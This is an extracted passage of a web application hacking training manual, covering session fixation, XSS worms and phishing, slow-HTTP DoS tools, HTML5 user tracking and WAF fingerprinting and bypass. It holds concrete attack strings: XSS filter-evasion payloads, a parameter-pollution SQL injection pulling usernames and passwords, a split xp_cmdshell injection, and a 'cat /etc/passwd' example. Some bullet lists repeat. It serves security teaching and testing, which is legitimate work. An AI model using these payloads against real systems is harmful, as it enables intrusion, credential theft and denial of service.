
41 | P a g e

Page 43: Advanced web application hacking and exploitation

42 | P a g e

Common Web Application Vulnerabilities and Pitfalls

Session ID in URL

Never Transfer the Session ID in the URL, as it is saved in the user’s browser history, in the

server’s access log and can be stolen via JavaScript from document.referer

Exposing Full Server Version Information

Page 44: Advanced web application hacking and exploitation

43 | P a g e

Bypassing Filters

Bypassing Filters – Sometimes you Post, Sometimes you Get

Blind SQL Injection or Imperva Error?

Page 45: Advanced web application hacking and exploitation

44 | P a g e

Page 47: Advanced web application hacking and exploitation

46 | P a g e

Scary doesn’t mean safe:

Page 48: Advanced web application hacking and exploitation

47 | P a g e

Page 49: Advanced web application hacking and exploitation

48 | P a g e

Case 3:

Page 50: Advanced web application hacking and exploitation

49 | P a g e

Application Fuzzing to Detect Weird Behaviour:

Page 51: Advanced web application hacking and exploitation

50 | P a g e

Weird Behaviour, Page printed twice!

Page 52: Advanced web application hacking and exploitation

51 | P a g e

No Session Transaction Locking, “The Refresh Factor”, “The Go Back – ReSubmit Factor”

Page 53: Advanced web application hacking and exploitation

52 | P a g e

Page 54: Advanced web application hacking and exploitation

53 | P a g e

Enumerating Usernames & Emails

Page 55: Advanced web application hacking and exploitation

54 | P a g e

A constant different error, means it Exists!

Page 56: Advanced web application hacking and exploitation

55 | P a g e

Sending Recovery Emails without verification of User existence

Page 57: Advanced web application hacking and exploitation

56 | P a g e

Manipulating Useless predictable information in order to get valuable information

Page 58: Advanced web application hacking and exploitation

57 | P a g e

Page 59: Advanced web application hacking and exploitation

58 | P a g e

Exposing A large scale of Email Addresses (A policy/design decision, High Success Rate

Of Email Attacks)

Page 60: Advanced web application hacking and exploitation

59 | P a g e

People Change Positions, but NOT EMAIL ADDRESSES

Reflecting Values assumed to be safe by CLIENT SIDE VALIDATION, such as email

address pattern:

Page 61: Advanced web application hacking and exploitation

60 | P a g e

Page 62: Advanced web application hacking and exploitation

61 | P a g e

Application Error Disclosure, Database Messages/Errors Disclosure, Directory Path

Disclosure

Page 63: Advanced web application hacking and exploitation

62 | P a g e

Bypassing Filters – When you can’t use function call characters “()” use active

assignments:

Page 64: Advanced web application hacking and exploitation

63 | P a g e

Page 65: Advanced web application hacking and exploitation

64 | P a g e

Disclosing Source Code

Directory Listing

ftp://www.hp.com/pub/neoware/jstream/cgi-bin/

Page 66: Advanced web application hacking and exploitation

65 | P a g e

Connecting User Approachable Files to Web Direcrtory

Exposing sources and creating risk of file execution after upload

ftp://www.hp.com/pub/neoware/jstream/cgi-bin/registrierung.cgi

Page 67: Advanced web application hacking and exploitation

66 | P a g e

Page 68: Advanced web application hacking and exploitation

67 | P a g e

Intersecting FTP Folders to HTTP Folders:

Sharing Encrypted Files

Sharing Encrypted Files Can be downloaded and cracked with the right amount of computing power

Page 69: Advanced web application hacking and exploitation

68 | P a g e

Exploiting the client

Browser, Plugins & OS Exploits

XSS Worms

• In the age of social networks and mash web sites, a single XSS attack in a major site can

be turned into an army of computers, just waiting for commands from the attacker.

Page 70: Advanced web application hacking and exploitation

69 | P a g e

• Using the power of JS code there is even no need to try and exploit the browser. Most

uses of Bot-nets today are D.O.S and SPAM attacks.

The Future of SPAM

• While SPAM attacks are still hard to launch using JS, there are several ways attackers

use to achieve this goal.

• Mime injections is an uprising attack that allows an attacker to inject text into the mime

headers of an outgoing mail and change the values of those headers before being sent.

• The vulnerability is mostly common in “Contact Us” forms which lack input validation on

fields such as:

– From

– To

– Subject

– Date and so on…

• Correct usage of this vulnerability will allow the attacker to craft their own email and

send it to their victims using the vulnerable third party site.

• This method of SPAM will also bypass the “Secure Domain Tokens” that validates the

sender’s domain.

• The attacker can use a XSS worm to take advantage of such Inject-able sites in order to

produce a SPAM network with no Trojan Horses or any kind of backdoor tools.

• Correct usage of this vulnerability will allow the attacker to craft their own email and

send it to their victims using the vulnerable third party site.

• This method of SPAM will also bypass the “Secure Domain Tokens” that validates the

sender’s domain.

• The attacker can use a XSS worm to take advantage of such Inject-able sites in order to

produce a SPAM network with no Trojan Horses or any kind of backdoor tools.

Page 71: Advanced web application hacking and exploitation

70 | P a g e

D.o.S attacks

• D.o.S attacks are fairly easy to deploy.

• Consider a XSS worm on Facebook.com

• Every user that logs in will get a command from the server.

• This command will cause the browser to send a Post request to CNN.com

• Considering the amount of users Facebook has simultaneously, CNN will be down within

a few minutes.

Page 72: Advanced web application hacking and exploitation

71 | P a g e

Information Gathering

Beyond malicious attacks on third party sites, the attacker may use their worm to gather

sensitive information from their victims

• The attacker can harvest the following details using the XSS alone:

– Password (using a perfect phishing attack) – Name – Age – Email – Friend list (that will also be attacked to become future victims)

Automated exploiting bots

Another usage of an XSS worm is to automatically scan and exploit other vulnerabilities. In order

to achieve this goal the attacker needs to exploit one of the victim`s browser and execute a

backdoor that will act as the server. The server will then be used by all the other victims or,

“Fetchers”. The Fetchers will send a request to the server asking for a new list to attack. The

server will then use Google or any other search engine to get a list of sites that suit the attack

and return it to the fetcher. The fetcher now asks the server for the content of a certain site on

the list. Once the value returns, the fetcher parse out the inner link from this page. This is where

the user starts to actively participate in the attack:

• The worm’s JavaScript code running on each user’s machine blindly sends a generic

attack request/string/code to the targets/links retrieved by the fetcher with known

vulnerabilities such as SQL Injections.

Page 73: Advanced web application hacking and exploitation

72 | P a g e

• For each pattern found, the fetcher tries to exploit the machine using preset values.

• Successful exploitations will cause the attacked machine to report itself to the attacker

thus entering to the attack circle.

• This may have a low ratio of success but when talking about an XSS Worm in the

sufficient magnitude and considering the fact that this process is fully automatic the

result is highly satisfying for the attacker

• The fetcher checks for patterns on those links for known vulnerabilities such as SQL

Injections.

• For each pattern found, the fetcher tries to exploit the machine using preset values.

• Successful exploitations will cause the attacked machine to report itself to the attacker

thus entering to the attack circle.

• This may have a low ratio of success but when talking about an XSS Worm in the

sufficient magnitude and considering the fact that this process is fully automatic the

result is highly satisfying for the attacker

High Level Distributed Denial of Service

R-U-Dead-Yet

R-U-Dead-Yet, or RUDY for short, implements the generic HTTP DoS attack via long form field

submissions. More technical details about layer-7 DDoS attacks can be found in this OWASP

lecture:

This tool runs with an interactive console menu, automatically detecting forms within given URL,

and allowing the user to choose which forms and form fields are desirable to use for the POST

attack. In addition, the tool offers unattended execution by providing the necessary parameters

within a configuration file. In version 2.x RUDY supports SOCKS proxies and session persistence

using cookies when available.

Page 74: Advanced web application hacking and exploitation

73 | P a g e

The Past

Page 75: Advanced web application hacking and exploitation

74 | P a g e

SlowRois

Slowloris is a piece of software written by Robert "RSnake" Hansen which allows a single

machine to take down another machine's web server with minimal bandwidth and side effects

on unrelated services and ports.

Slowloris tries to keep many connections to the target web server open and hold them open as

long as possible. It accomplishes this by opening connections to the target web server and

sending a partial request. Periodically, it will send subsequent HTTP headers, adding to—but

never completing—the request. Affected servers will keep these connections open, filling their

maximum concurrent connection pool, eventually denying additional connection attempts from

clients.

Page 76: Advanced web application hacking and exploitation

75 | P a g e

PyLoris:

QSlowloris

Page 77: Advanced web application hacking and exploitation

76 | P a g e

Slowloris Mitigation:

Dynamic Generation of Obfuscated JavaScript

Any code based protection against XSS, CSRF and automation can ultimately be bypassed. The

only way to create a protection that is very hard to be bypassed is to generate new JavaScript

code in every page refresh, randomize variables and objects names, length and position in the

code.

This kind of solution is only relevant to closed systems that provide services to users by

providing a graphical user interface (i.e. gmail.com), but isn’t relevant for regular websites which

are supposed to be easily browse-able, indexed, linked to and saved in bookmarks/favorites.

Malware Script Detector

• Malware Script Detector

(MSD)

http://userscripts.org/scripts/show/30284

Page 78: Advanced web application hacking and exploitation

77 | P a g e

• Coded mainly to detect today’s popular powerfully malicious JavaScript attack

frameworks: XSS-Proxy, XSS-Shell, AttackAPI, BeEF

• Version 2 was enhanced to prevent most XSS threats and includes XSS Attack Blacklists

based on Firefox XSS-Warning add-on

Phishing

Frameset Based Phishing

Cross Frame Phishing

HTML5 seamless and sandbox attributes

The seamless and sandbox attributes are new in HTML5.

At the time of writing (Jan 2011), the seamless is not supported. It should integrate the

iframe seamlesslyinto page by removing border and applying CSS styles of the parent as if the

iframe were just an element.

Page 79: Advanced web application hacking and exploitation

78 | P a g e

The sandbox is simpler to implement. It is supported by the recent Webkit (e.g in Chrome).

When thesandbox attribute is set, the iframe content is treated as being from a unique origin,

forms and scripts are disabled, links are prevented from targeting other browsing contexts, and

plugins are disabled.

So, the following iframe lives in a separate, very limited world. Check it using the latest Chrome:

<iframe sandbox src="/files/tutorial/window/sandboxed.html"></iframe>

The sandbox attribute may contain space-delimited flags which relax the limitations:

allow-same-origin

o Doesn’t force the unique origin for iframe contents.

allow-top-navigation

o Allows iframe to navigate parent context, e.g. change parent.location.

allow-forms

o Allows forms submissions from inside iframe.

allow-scripts

o Allows scripts execution. Still, scripts are not able to create popups.

The aim of sandboxing is to limit. It can’t lighten default limitation, like make an iframe from

another domain to appear from the same origin.

All it can do is limiting, with possible exceptions, like:

<iframe sandbox="allow-same-origin allow-forms" src="do.php"></iframe>

It is possible to mitigate most frame injection attacks by adding a deferred JavaScript to

automatically sandbox all frames and iframes except for a specific excluded list of element

IDs.

Preset Session Phishing (Combined With a later Session Hi-Jacking)

Since both HTTP and HTTPS are stateless protocols, web-based applications must use custom methods of tracking users through its pages and also manage access to resources that require authentication. The most common way of managing state within such an application is through Session Identifiers (SessionID’s). These SessionID’s may be implemented through cookies, hidden fields or fields contained within page URLs. Many web-based applications implement poor state management systems and will allow client connections to define a SessionID. The web application will track the user around the application using the preset SessionID, but will usually require the user to authenticate (e.g. supply identification information through the formal login page) before allowing them access to

Page 80: Advanced web application hacking and exploitation

79 | P a g e

“restricted” page content. In this class of attack the phishing message contains a web link to the real application server, but also contains a predefined SessionID field. The attackers system constantly polls the application server for a restricted page (e.g. an e-banking page that allows fund transfers) using the preset SessionID. Until a valid user authenticates against this SessionID, the attacker will receive errors from the web-application server (e.g. 404 File Not Found, 302 Server Redirect, etc.). The phishing attacker must wait until a message recipient follows the link and authenticates themselves using the SessionID. Once authenticated, the application server will allow any connection using the authorised SessionID to access restricted content (since the SessionID is the only state management token in use). Therefore, the attacker can use the preset SessionID to access a restricted page and carryout his attack. The following figure shows how the Preset Session Attack (sometimes referred to as Session Fixation) is conducted:

Figure: Preset session attacks

Here the Phisher has bulk-emailed potential MyBank customers a fake message containing the URLhttps://mybank.com/ebanking?session=3V1L5e5510N&Login=True containing a preset SessionID of3V1L5e5510N and continually polls the MyBank server every minute for a restricted page that will allow customer Fund Transfers

Page 81: Advanced web application hacking and exploitation

80 | P a g e

(https://mybank.com/ebanking?session=3V1L5e5510N&Transfer=True). Until a customer authenticates using the SessionID, the Phisher will receive errors when trying to access the page as the SessionID is invalid. After the customer authenticates themselves the SessionID becomes valid, and the Phisher can access the Fund Transfer page.

XSS Based Phishing

The best phishing attack will always originate from an XSS attack. This attack occurs when a user

is already in the attacked system’s domain (i.e. facebook.com). While he browses the website or

uses the system, he suddenly gets a decorated sub-window requesting some personal

information.

Since it is a “sub-window”, has the template/design/decoration like the rest of the system and

the user been already in the site, those lead to the maximum level of trust and cooperation from

the XSS victim. These days, as most websites are SSL enabled by default, the SSL adds a level of

false trust to the user.

The most effective types of this attack are:

1. Spoofing a session expiration and requiring a re-login

2. Actually calling the system’s logout function and hooking/patching the real login

code

3. Popping up a “box window” requiring the user’s password

XSS AJAX Phishing - "Frameless Phishing"

The attack consists on replacing the current DOM/document data dynamically with the

requested contented obtained via AJAX dynamic requests. The attack works for every

link/resource on the same domain.

Attack Flow:

1. The attacker takes over the page in an “Injection Point”, which can be:

a. XSS – Reflected, Stored, DOM

b. XSS – Inclusion of a remote resource (such RSS…)

c. Man-In-The-Middle

i. Injecting/Replacing the HTML

ii. Injecting/Replacing external resource files (js, css…)

d. TCP Injection

2. On each click in the page, the attacker’s code “hooks” the click

3. The desitnation URL is requested

4. The received content is assigned as this page’s content

Page 82: Advanced web application hacking and exploitation

81 | P a g e

<script> var xhr = new XMLHttpRequest(); xhr.open("GET", <the_user_clicked_URL_to_grab_and_display>, true); xhr.send(); document.body.innerHTML = xhr.responseText + my_hook_script_code; </script>

HTML5

Cross Domain/Origin Requests (CDR, COR)

Using XMLHttpRequest a client-side Web application on http://hello-world.example can access

this resource as follows:

var client = new XMLHttpRequest();

client.open("GET", "http://example.com/hello")

client.onreadystatechange = function() { /* do something */ }

client.send()

It gets slightly more complicated if the resource author wants to be able to handle cross-origin

requests using methods other than simple methods. In that case the author needs to reply to a

preflight request that uses the OPTIONS method and then needs to handle the actual request

that uses the desired method (DELETE in this example) and give an appropriate response. The

response to the preflight request could have the following headers specified:

Access-Control-Allow-Origin: http://hello-world.example

Access-Control-Max-Age: 3628800

Access-Control-Allow-Methods: GET, POST, PUT, DELETE

Crossing The Zone

The behavior of same-origin checks and related mechanisms is not well-defined in a number of

corner cases, such as for protocols that do not have a clearly defined host name or port associated

with their URLs (file:, data:, etc.). This historically caused a fair number of security problems, such as

Page 83: Advanced web application hacking and exploitation

82 | P a g e

the generally undesirable ability of any locally stored HTML file to access all other files on the disk, or

communicate with any site on the Internet.

In addition, many legacy cross-domain operations predating JavaScript are not subjected to same-

origin checks; one such example is the ability to include scripts across domains, or submit POST

forms. JSONP is a popular cross-domain alternative to XMLHttpRequest (Ajax).

Lastly, certain types of attacks, such as DNS rebinding or server-side proxies, permit the host name

check to be partly subverted, and make it possible for rogue web pages to directly interact with sites

through addresses other than their "true", canonical origin. The impact of such attacks is limited to

very specific scenarios, since the browser still believes that it is interacting with the attacker's site,

and therefore does not disclose third-party cookies or other sensitive information to the attacker.

EasyXDM – Cross Domain Messaging Tool-Kit

Microsoft’s version: XDR: AJAX - Introducing Cross-domain Request (XDR)

With Cross-domain Request ("XDR") in Windows Internet Explorer 8, developers can create cross-site

data aggregation scenarios. Similar to the XMLHttpRequest object but with a simpler programming

model, this request, called XDomainRequest, is the easiest way to make anonymous requests to third-party sites that support XDR and opt in to making their data available across domains. Three lines of code will have you making basic cross-site requests. This will ensure that data aggregation for public sites such as blogs or other social networking applications will be simple, secure and fast.

Page 84: Advanced web application hacking and exploitation

83 | P a g e

Background

Web browsers have a security policy called the same-site origin policy, which blocks Web pages from accessing data from another domain. Web sites often work around this policy by having their server request content from another site's server in the backend, thus circumventing the check within the browser, as shown in the following diagram.

In Internet Explorer 8, Web pages can simply make a cross-domain data request within the browser

by using the new XDomainRequest object instead of a server-to-server request, as shown in the following diagram.

Cross-domain requests require mutual consent between the Web page and the server. You can

initiate a cross-domain request in your Web page by creating anXDomainRequest object off

the window object and opening a connection to a particular domain. The browser will request data

from the domain's server by sending an Originheader with the value of the origin. It will only

complete the connection if the server responds with an Access-Control-Allow-Origin header of

either * or the exact URL of the requesting page. This behavior is part of the World Wide Web Consortium (W3C)'s Web Application Working Group's draft framework on client-side cross-domain

communication that the XDomainRequest object integrates with.

For example, a server's Active Server Pages (ASP) page might include the following response header.

Page 85: Advanced web application hacking and exploitation

84 | P a g e

<% Response.AddHeader("Access-Control-Allow-Origin","*") %>

Security Alert To protect user data, cross-domain requests are anonymous, which means that

servers cannot easily find out who is requesting data. As a result, you only want to request and

respond with cross-domain data that is not sensitive or personally identifiable.

API Documentation

The following JavaScript code introduces the XDomainRequest object and its events, properties,

and methods. The XDomainRequest reference page has more detail than is listed here.

// Creates a new XDR object. xdr = new XDomainRequest(); // Indicates there is an error and the request cannot be completed. xdr.onerror = alert_error; // The request has reached its timeout. xdr.ontimeout = alert_timeout; // The object has started returning data. xdr.onprogress = alert_progress; // The object is complete. xdr.onload = alert_loaded; // Sets the timeout interval. xdr.timeout = timeout; // Gets the content-type header in the request. var content_type = xdr.contentType; // Gets the body of the response. var response = xdr.responseText; // Creates a connection with a domain's server. xdr.open("get", url); // Transmits a data string to the server. xdr.send(); // Terminates a pending send. xdr.abort();

Code Sample

XDR has two components: a client side that makes a request for data to a URL across domains, and a server side that responds with the Access-Control-Allow-Origin header of either * or the exact URL

Page 86: Advanced web application hacking and exploitation

85 | P a g e

of the requesting page, plus the data, which Internet Explorer then makes available to the requesting domain after performing security checks.

This sample page takes a URL and does a get request. The Read button will call a method to output

the response data if you choose to. The first code sample that follows is the requesting page.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <title>Internet Explorer 8 - Cross-domain Request Code Sample</title> <script type="text/javascript"> var xdr; function read_data() { var output = document.getElementById('text_response'); if(output) { // To view the responseText on the page, click the Read button. output.innerText = xdr.responseText; } // The Read button also displays the content type and length of // response in alerts. alert("Content-type: " + xdr.contentType); alert("Length: " + xdr.responseText.length); } function alert_error() { alert("XDR onerror"); } function alert_timeout() { alert("XDR ontimeout"); } function alert_loaded() { alert("XDR onload"); alert("Got: " + xdr.responseText); } function alert_progress() { alert("XDR onprogress"); alert("Got: " + xdr.responseText);

Page 87: Advanced web application hacking and exploitation

86 | P a g e

} function req_abort() { if(xdr) { xdr.abort(); // Abort XDR if the Stop button is pressed. } } function req_init() { var url = document.getElementById('input_url').value; var timeout = document.getElementById('input_timeout').value; if (window.XDomainRequest) // Check whether the browser supports XDR. { xdr = new XDomainRequest(); // Create a new XDR object. if (xdr) { // There is an error and the request cannot be completed. // For example, the network is not available. xdr.onerror = alert_error; // This event is raised when the request reaches its timeout. xdr.ontimeout = alert_timeout; // When the object starts returning data, the onprogress event // is raised and the data can be retrieved by using responseText. xdr.onprogress = alert_progress; // When the object is complete, the onload event is raised and // the responseText ensures the data is available. xdr.onload = alert_loaded; xdr.timeout = timeout; // The URL is preset in the text area. This is passed in the // open call with a get request. xdr.open("get", url); // The request is then sent to the server. xdr.send(); } else { alert('Failed to create new XDR object.'); } } else {

Page 88: Advanced web application hacking and exploitation

87 | P a g e

alert('XDR does not exist.'); } } </script> </head> <body> <div class="body"> <h1>Internet Explorer 8 - Cross-domain Request Demo</h1> <form action=""> <!-- Assign URL and timeout values from their text boxes to variables. --> <p>URL: <input id="input_url" type="text" value="http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/Ajax/xdomain.response.movies.aspx" style="width: 700px"></p> <p>Timeout: <input id="input_timeout" type="text" value="10000"></p> <p><input onclick="req_init()" type="button" value="Get">&nbsp;&nbsp;&nbsp; <input onclick="req_abort()" type="button" value="Abort">&nbsp;&nbsp;&nbsp; <input onclick="read_data()" type="button" value="Read"></p> </form> <div id="text_response"> </div> </div> </body> </html>

Page 89: Advanced web application hacking and exploitation

88 | P a g e

Web Messaging - Cross Frame/Window Messaging

This first page is the sender - it's calling postMessage (sending the textual message) and also holds the iframe within which the receiving window is held.

<iframe src="http://dev.hp.com” id="iframe"></iframe>

<form id="form">

<input type="text" id="msg" value="Message to send"/>

<input type="submit"/>

</form>

<script>

window.onload = function(){

var win = document.getElementById("iframe").contentWindow;

document.getElementById("form").onsubmit = function(e){

win.postMessage( document.getElementById("msg").value );

e.preventDefault();

};

};

</script>

The follow page is the receiver - it has an event listener bound which watches for messages being passed to it and injects them in to the DOM.

<b>This iframe is located on dev.hp.com</b>

<div id="test">Send me a message!</div>

Page 90: Advanced web application hacking and exploitation

89 | P a g e

<script>

document.addEventListener("message", function(e){

document.getElementById("test").textContent =

e.domain + " said: " + e.data;

}, false);

</script>

Cookie/Repository User Tracking

Tracking Users Using HTML5 Local Storage Feature

• HTML5 provides feature that

allows planting persistent

information in users computers

• A tracker can be planted pre-emptively or during an identified attack

• Since the information is persistent

it is possible to retrieve it and

inspect it at any date and the attacker can be identified

Tracking Users Using HTML5 Local Storage Feature

• Types of “Ever Cookies” (tracking features)

• Standard HTTP Cookies

• Silverlight Isolated Storage

• Local Shared Objects (Flash Cookies)

• Storing cookies in RGB values of auto-generated, force-cached PNGs using HTML5

Canvas tag to read pixels (cookies) back out

• Storing cookies in and reading out Web History

• Storing cookies in HTTP ETags

• Internet Explorer userData storage

• HTML5 Session Storage

• HTML5 Local Storage

• HTML5 Global Storage

• HTML5 Database Storage via SQLite

Page 91: Advanced web application hacking and exploitation

90 | P a g e

Page 92: Advanced web application hacking and exploitation

91 | P a g e

User TraceBack Techniques

JAVA Trackback Techniques

Page 93: Advanced web application hacking and exploitation

92 | P a g e

MAC ADDRESS Detection Of All Network Interfaces via JAVA

You can steal the user’s MAC address with Java 1.6. For Internet Explorer you can use an applet.

This information is very sensitive, because the MAC address is a unique identifier. Although it

can be easily changed by the user, it can be useful to identify some users with dynamic IP

address or using proxies.

function get_mac() {

try {

var ifaces = java.net.NetworkInterface.getNetworkInterfaces()

var ifaces_list = java.util.Collections.list(ifaces);

for (var i = 0; i < ifaces_list.size(); i++) {

var mac = ifaces_list.get(i).getHardwareAddress();

if (mac) {

return mac;

}

}

} catch (e) { }

return false;

}

Page 94: Advanced web application hacking and exploitation

93 | P a g e

Tracking Users Using Request Injections

• Flash Trackback Techniques

o Adobe Flash plugin allows revealing the local IP

o Flash Sockets

• DNS Request Injection (subdomains)

Trackback Techniques

• Inject HTML to force DNS requests to our servers (some clients aren’t configured to

proxy DNS)

o Unique System Identification

o Pre-Planting an Ever-Cookie on certain crowds to allow future unique

identification

XSS + Browser Location Services

Browser/Smart-Phone Location Services

Browser Location Services (FireFox)

Page 95: Advanced web application hacking and exploitation

94 | P a g e

Browser Location Services

(Google Chrome)

Page 96: Advanced web application hacking and exploitation

95 | P a g e

Browser Location Services

Working Behind Tor Anonymity Network

Page 97: Advanced web application hacking and exploitation

96 | P a g e

Web Application Firewalls

Web applications have some serious vulnerabilities, and WAF provides a very important extra

protection layer to the web solution. Hackers can find access points through errors in code, and

we find that having a WAF in front of our web application is very important for security.

WAF acts as a special mechanism governing the interaction between the server and client while

processing the HTTP-packets. It also provides a way to monitor the data as it is received from

the outside. The solution is based on a set of rules that exposes if there is an attack targeting the

server. Usually, the web application firewall aims to protect large websites like banks, online

retailers, social networks, large companies… But now anyone can use it now that we have some

open-source solutions available.

WAF can be implemented in two ways, via hardware or software, and in three forms:

1. Implemented as a reverse proxy server.

2. Implemented in routing mode / bridge.

3. Integrated in the Web application.

The first form can be as mod_security , Barracuda , nevisProxy . These types of WAF

Automatically block or redirect the request to the web server without any changes or editing

data.

The second category consists mainly of hardware WAF. For example, Imperva SecureSphere

(impervaguard.com). These solutions require additional configuration on the internal network,

but eventually the option gains in productivity.

And finally, the third type implies the existence in the Web application like integrating the WAF

in the CMS.

WAF rules contain a Blacklist (compared with a list of unacceptable actions) and Whitelist

(accepted and permitted actions), for example we can find in the black list strings like: «UNION

SELECT», «< script>», «/ etc / passwd» while whitelist rules may contain a number parameters

value (from0 to 65535).

Detecting Web Application Firewalls

We will now look at how pentesting can detect the WAF server and more importantly how to

bypass it.

Each firewall has a special method in responding that helps in identifying the type of WAF

implemented (fingerprint) for example:

Page 98: Advanced web application hacking and exploitation

97 | P a g e

• HTTP-response cookies parameters.

• Modifying HTTP-headers to mask the server

• The way of responding to a special data and queries

• The way in closing connection under not authorized actions.

For example, when we launch an attack on mod_security we get 501 error code; WebKnight –

the code 999; Barracuda on cookie-parameter barra_counter_session.

This can certainly help in identifying the WAF, and there are some scanners that can automate

the operation so you will be able to get the information like w3af a framework plug-in

WAF_fingerprint and wafw00f. These tools are important for the pentesting operation.

Next part will be looking at different technics to bypass web application firewall and exploit

most popular vulnerabilities.

Here are several options available in wafw00f:

Page 99: Advanced web application hacking and exploitation

98 | P a g e

Then I run the wafw00f against the webserver by giving the command:

wafw00f.py http://localhost and here is the result:

The tool can detect the WAF correctly.

Page 100: Advanced web application hacking and exploitation

99 | P a g e

Bypassing Web Application Firewalls

There is no single ideal system in the world, and this applies to Web application firewalls too

(WAF’s).

While the advantages and positive features far outweigh the negative in WAF’s, one major

problem is there are only a few action rules allowed. The white list is expanding, and requires

more development efforts because it is very important to clearly establish allowed parameters.

The second major problem is that sometimes WAF vendors fail to update their signature

definitions, or do not develop the required security rule on time, and this can put the web server

at risk of attacks.

The first vulnerability is (http://www.security-database.com/detail.php?alert=CVE-2009-1593),

which allows the inserting extra characters in the JavaScript close tag to bypass the XSS

protection mechanisms. An example is shown below:

http://testcases/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script%20ByPa

ss%3

Another example (http://www.security-database.com/detail.php?alert=CVE-2009-1594) also

allows remote attackers to bypass certain protection mechanisms via a %0A (encoded newline),

as demonstrated by a %0A in a cross-site scripting (XSS) attack URL.

HTTP Parameter Pollution (HPP)

HPP was first developed by two Italian network experts, Luca Carettoni and Stefano diPaola. HPP

provides an attacker the ability to submit new HTTP-parameters (POST, GET) with multiple input

parameters (query string, post data, cookies, etc.) with same name.

The application may react in unexpected ways and open up new avenues of server-side and

client-side exploitation. The most outstanding example is a vulnerability in IIS + ModSecurity

which allows SQL-injection based attacks on two features:

1. IIS HTTP parameters submit the same name. for Example:

POST /index.aspx?a=1&a=2 HTTP/1.0

Host: www.example.com

Cookie: a=5;a=6

Content-type: text/plain

Content-Length: 7

Connection: close

a=3&a=4

If such a request to IIS/ASP.NET setting a (Request.Params["a"]) is equal to 1,2,3,4,5,6.

2. ModSecurity analyzes the request after that it has been already processed by webserver. And

reject it: http://testcases/index.aspx?id=1+UNION+SELECT+username,password+FROM+users

However the query submitted:

Page 101: Advanced web application hacking and exploitation

100 | P a g e

POST /index.aspx?a=-1%20union/*&a=*/select/* HTTP/1.0

Host: www.example.com

Cookie: a=*/from/*;a=*/users

Content?Length: 21

a=*/name&a=password/*

The database as a result will do the correct query:

SELECT b, c FROM t WHERE a =- 1 /*,*/ UNION /*,*/ SELECT /*,*/ username, password /*,*/

FROM /*,*/ users

XSS

Cross Site Scripting (XSS) is probably the best method for exploiting the Web application firewall

(WAF). This is due to JavaScript’s flexibility. At the BlackHat conference, there were a large

number of methods to trick filters. For example:

object data=”javascript:alert(0)”

isindex action=javascript:alert(1) type=image

img src=x:alert(alt) onerror=eval(src) alt=0

x:script xmlns:x=”http://www.w3.org/1999/xhtml” alert (‘xss’); x: script

Examples:

1. Profense Web Application Firewall Security Bypass Vulnerabilities

Attackers can exploit the issue via a browser.

The following example URIs are available:

http://www.example.com/phptest/xss.php?var=%3CEvil%20script%20goes%20here%3E=%0AByPass http://www.example.com/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E

2. Finding: IBM Web Application Firewall Bypass

The IBM Web Application Firewall can be evaded, allowing an attacker to exploit web

vulnerabilities that the product intends to protect. The issue occurs when an attacker submits

repeated occurrences of the same parameter.

The example shown below uses the following environment:

Page 102: Advanced web application hacking and exploitation

101 | P a g e

A web environment using Microsoft IIS, ASP .NET technology, Microsoft SQL Server 2000, being

protected by the IBM Web Application Firewall.

As expected, the following request will be identified and blocked (depending of configuration)

by the IBM Web application firewall.

http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell "ping 10.1.1.3" --

IIS with ASP.NET (and even pure ASP) technology will concatenate the contents of a parameter if

multiple entries are part of the request.

http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell &iid= "ping

10.1.1.3" --

IIS with ASP.NET (and even pure ASP) technology will concatenate both entries of iid parameter,

however it will include an comma "," between them, resulting in the following output being sent

to the database.

'; EXEC master..xp_cmdshell , "ping 10.1.1.3" --

The request above will be identified and blocked (depending of configuration) by IBM Web

application firewall, because it appears that

"EXEC" and "xp_cmdshell" trigger an attack pattern.

However, it is possible to split all the spaces in multiple parameters. For example:

http://sitename/find_ta_def.aspx?id=2571&iid=';&iid=EXEC&iid=master..xp_cmdshell&iid="ping 10.1.1.3" &iid= --

The above request will bypass the affected IBM Web application firewall, resulting in the

following output being sent to the database.

'; , EXEC , master..xp_cmdshell , "ping 10.1.1.3" , --

However, the above SQL code will not be properly executed because of the comma inserted on

the SQL query, to solve this situation we will use SQL comments.

http://sitename/find_ta_def.aspx?id=2571&iid='; /*&iid=1*/ EXEC

/*&iid=1*/ master..xp_cmdshell /*&iid=1*/ "ping 10.1.1.3" /*&iid=1*/ --

Page 103: Advanced web application hacking and exploitation

102 | P a g e

The above request will bypass IBM Web application firewall, resulting in the following output

being sent to the database, which is a valid and working SQL code.

'; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ "ping 10.1.1.3" /*,1*/ --

The above code will execute the ping command on the Microsoft Windows backend, assuming

the application was running with administrative privileges.

This attack class is also referenced sometimes as HTTP Pollution Attack, HTTP Parameter

Pollution (HPP) and HTTP Parameter Concatenation.

The exploitability of this issue depends of the infrastructure (WebServer, Development

Framework Technology, etc) technology being used.

Circumvention of default WAF filtering mechanisms

The following section discusses possibilities to circumvent default filtering mechanisms of the

tested web application firewalls. The perl script for an automated evaluation of filtering

mechanisms developed during this project (see section 4.2) tests the filtering capabilities by

trying to exploit previously known and implemented vulnerabilities. As attacks against web

applications can typically be conducted using a variety of different means (character encoding,

usage of different keywords or functions, obfuscation using comments, etc), the very same

attacks can be conducted by a number of differently assembled requests. As web application

firewalls typically operate using a blacklist approach and allow all requests that do not match

the blacklists, attacks can to some extent be obfuscated and pass the filtering engines.

All attacks that have been marked as blocked by the automated perl script have been analysed

manually to determine the effectiveness of the filtering procedures in connection with that

specific test case. As not all test cases can be covered here and possibilities for circumvention

are partly the same, the following chapter gives an overview of the found options for

circumvention. Please note that the bypass of filtering mechanisms if often demonstrated in

connection with a web application firewall product. The fact that the issue is shown at the

example of a product does not mean that products of other vendors are not also susceptible to

the same circumvention technique shown.

In connection with the test case 601 (command execution) the Hyperguard web application

firewall does not allow to print the contents of the /etc directory (e.g. cat /etc/passwd).

The restriction is only limited on this directory. On the other side an attacker can enumerate all

the server content using the ls command and also read files using the cat-command for files the

Page 104: Advanced web application hacking and exploitation

103 | P a g e

user www-data has access to and that are not in the /etc directory. Blocking access to /etc

